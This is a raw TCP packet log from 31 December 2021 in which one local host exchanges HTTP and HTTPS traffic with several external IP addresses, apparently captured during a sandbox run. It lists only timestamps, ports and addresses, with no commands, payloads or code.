Dec 31, 2021 19:13:27.051071882 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051106930 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051126957 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051127911 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051175117 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051181078 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051217079 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051259995 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051275969 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051304102 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051342010 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051384926 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051431894 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051440001 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.051440954 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051482916 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.051538944 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.058283091 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.389612913 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.389749050 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.455802917 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.455967903 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.521724939 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.521770954 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.521908045 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.521959066 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.586429119 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.586476088 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.586527109 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:27.586541891 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:27.586594105 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:28.614995956 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.663573027 CET	80	49850	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.663732052 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.663789988 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.663800955 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.712605000 CET	80	49850	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.735169888 CET	80	49850	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.735307932 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.749711037 CET	49850	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.798300982 CET	80	49850	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.831707001 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.880213976 CET	80	49851	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.880300045 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.880382061 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.880485058 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.929049969 CET	80	49851	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.954261065 CET	80	49851	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:28.954346895 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.954504013 CET	49851	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:28.982877016 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.004918098 CET	80	49851	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.033556938 CET	80	49853	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.034611940 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.034718037 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.036668062 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.083405972 CET	80	49853	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.085216045 CET	80	49853	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.112118959 CET	80	49853	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.113262892 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.113498926 CET	49853	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.140039921 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.162193060 CET	80	49853	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.188777924 CET	80	49854	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.188956022 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.189043999 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.189057112 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.237734079 CET	80	49854	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.270298958 CET	80	49854	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.270648956 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.274370909 CET	49854	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.305939913 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.322979927 CET	80	49854	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.354532957 CET	80	49855	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.354649067 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.354819059 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.356889009 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.403521061 CET	80	49855	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.405320883 CET	80	49855	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.429088116 CET	80	49855	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.429239035 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.445804119 CET	49855	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.479620934 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.479664087 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.482630014 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.482904911 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.482929945 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.496119976 CET	80	49855	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.540184021 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.540350914 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.543217897 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.543248892 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.543498039 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.544538975 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.584858894 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.659143925 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.659287930 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.659368992 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.668698072 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.668732882 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.668780088 CET	49856	443	192.168.2.3	67.199.248.10
Dec 31, 2021 19:13:29.668795109 CET	443	49856	67.199.248.10	192.168.2.3
Dec 31, 2021 19:13:29.688325882 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.688384056 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.688457966 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.688747883 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.688786983 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.743628025 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.743715048 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.745765924 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.745779991 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.746005058 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.747534037 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.788868904 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870110989 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870215893 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870279074 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870279074 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870301962 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870408058 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870470047 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870488882 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870537043 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870543957 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870584965 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870829105 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870851994 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.870876074 CET	49857	443	192.168.2.3	67.199.248.14
Dec 31, 2021 19:13:29.870891094 CET	443	49857	67.199.248.14	192.168.2.3
Dec 31, 2021 19:13:29.896317959 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.944897890 CET	80	49858	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:29.945053101 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.945832014 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.945854902 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:29.994415998 CET	80	49858	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.021696091 CET	80	49858	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.024162054 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.032288074 CET	49858	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.059036970 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.059078932 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.062591076 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.063143015 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.063179016 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.080779076 CET	80	49858	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.148452044 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.148556948 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.150787115 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.150796890 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.151078939 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.151819944 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.192868948 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503160954 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503211021 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503297091 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503305912 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.503335953 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503356934 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503360987 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.503397942 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.503422976 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.503520966 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503561020 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503612995 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.503619909 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.503654003 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.525216103 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.525270939 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.525319099 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.525366068 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.525387049 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.525748968 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.525799990 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.525839090 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.525851011 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.526011944 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.526345015 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.526403904 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.526431084 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.526437044 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.526477098 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.547846079 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.547925949 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.547982931 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.547998905 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.548005104 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.548686981 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.548743010 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.548767090 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.548774958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.548810959 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.548810959 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.548827887 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.549284935 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.549335957 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.549364090 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.549371958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.549402952 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.550112009 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.550164938 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.550266027 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.550277948 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.550332069 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.570903063 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.570959091 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.571006060 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.571053982 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.571064949 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.572088957 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.572140932 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.572170973 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.572179079 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.572222948 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.573446035 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.573508978 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.573537111 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.573586941 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.573591948 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.573755980 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.573807955 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.573848009 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.573884964 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.573894024 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.574649096 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.574719906 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.574743032 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.574752092 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.574795961 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.594614983 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.594669104 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.594692945 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.594727993 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.594738007 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.594743967 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.596082926 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.596143961 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.596175909 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.596185923 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.596221924 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.597165108 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.597213984 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.597254038 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.597265959 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.597282887 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.598157883 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.598208904 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.598259926 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.598268986 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.598289967 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.617748976 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.617805958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.617846966 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.617887020 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.617902994 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.618618965 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.618670940 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.618699074 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.618706942 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.618742943 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.619976044 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.620027065 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.620057106 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.620065928 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.620100975 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.621010065 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.621061087 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.621088028 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.621098042 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.621134043 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.621961117 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.622010946 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.622066975 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.622073889 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.622081041 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.639800072 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.639853954 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.639906883 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.639919996 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.639930010 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.641480923 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.641531944 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.641561985 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.641570091 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.641597033 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.642088890 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642138958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642170906 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.642179012 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642210960 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.642855883 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642910004 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642926931 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.642936945 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.642982006 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.643891096 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.643938065 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.643968105 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.643975973 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.644001007 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.644347906 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.644397974 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.644428015 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.644434929 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.644464970 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.663158894 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.663212061 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.663270950 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.663285971 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.663299084 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.664083958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664149046 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664205074 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.664211988 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664222002 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.664690018 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664740086 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664761066 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.664768934 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.664805889 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.665501118 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.665549994 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.665572882 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.665579081 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.665618896 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.666163921 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.666218042 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.666251898 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.666273117 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.666316032 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.684477091 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.684534073 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.684576035 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.684618950 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.684624910 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.685473919 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.685525894 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.685574055 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.685583115 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.685594082 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.685688019 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.686534882 CET	443	49859	144.76.136.153	192.168.2.3
